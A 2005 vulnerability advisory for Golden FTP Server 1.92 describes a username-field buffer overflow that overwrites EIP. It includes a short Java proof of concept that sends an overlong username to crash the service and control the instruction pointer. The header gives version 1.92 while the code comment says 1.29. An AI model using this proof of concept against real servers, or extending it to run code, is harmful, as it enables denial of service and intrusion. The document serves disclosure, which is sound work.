goldenFTP192.txt

`Golden Ftp Server Username Remote Buffer Overflow   
  
Date:03/01/2005  
  
Version: Golden Ftp Server 1.92   
  
(Until 01/03/2005 it can be downloaded from  
http://www.goldenftpserver.com/golden-ftp-server.zip  
SHA-1 Hash of the ZIP file: 9F98D73C46E0F17EF31096F9441B9A9E8ED40CF3   
)  
  
Vendor Description:  
  
Golden FTP Server is extremely easy to use personal FTP server for   
Windows and can be run by any person who has the most basic computer skills.  
http://www.goldenftpserver.com/  
  
  
  
Flaw Description:  
  
Golden FTP server suffers from a Buffer Overflow when more than 284  
characters is entered in the Username field  
at logon.  
  
As EIP can be overwritten, it is possible to execute arbitrary code in  
systems running this version of the daemon.  
  
  
Proof of Concept:  
  
I´m providing just a simple proof of concept for this flaw.  
  
The Poc is also avaliable at www.debarry2.com.br/carlos  
  
======begin code=======  
  
/* Carlos Ulver at gmail.com  
* www.debarry2.com.br/carlos  
* 03/01/05   
* Golden Ftp Server 1.29(Freeware Version) Username Remote Buffer Overflow  
* This is only a proof of Concept.  
* This Ftpd was running in windows xp sp1 Portuguese(Brazilian)  
*   
*/  
import java.net.URL;  
public class Pocgftpd {  
  
  
public static void main(String[] args) {  
String A = new String();  
  
for(int i=0;i<281;i++) A+='a';  
for (int i = 0; i < 4; i++) A+='b';  
  
try{  
//This 'a' for password means nothing...only to complete: user:pass@host  
URL u = new URL("ftp://"+A+":[email protected]");  
u.openStream();  
}catch(Exception E1){}  
  
}  
}  
  
  
======end code=======  
  
Correction: For correction, please get a newer version of the FTPD.  
  
For more details and updates and flaws please visit:  
http://www.debarry2.com.br/carlos  
  
  
  
--   
Carlos A. Ulver.  
Home: www.debarry2.com.br/carlos  
PGP: www.debarry2.com.br/carlos/contato.htm  
  
Brasil - MG  
`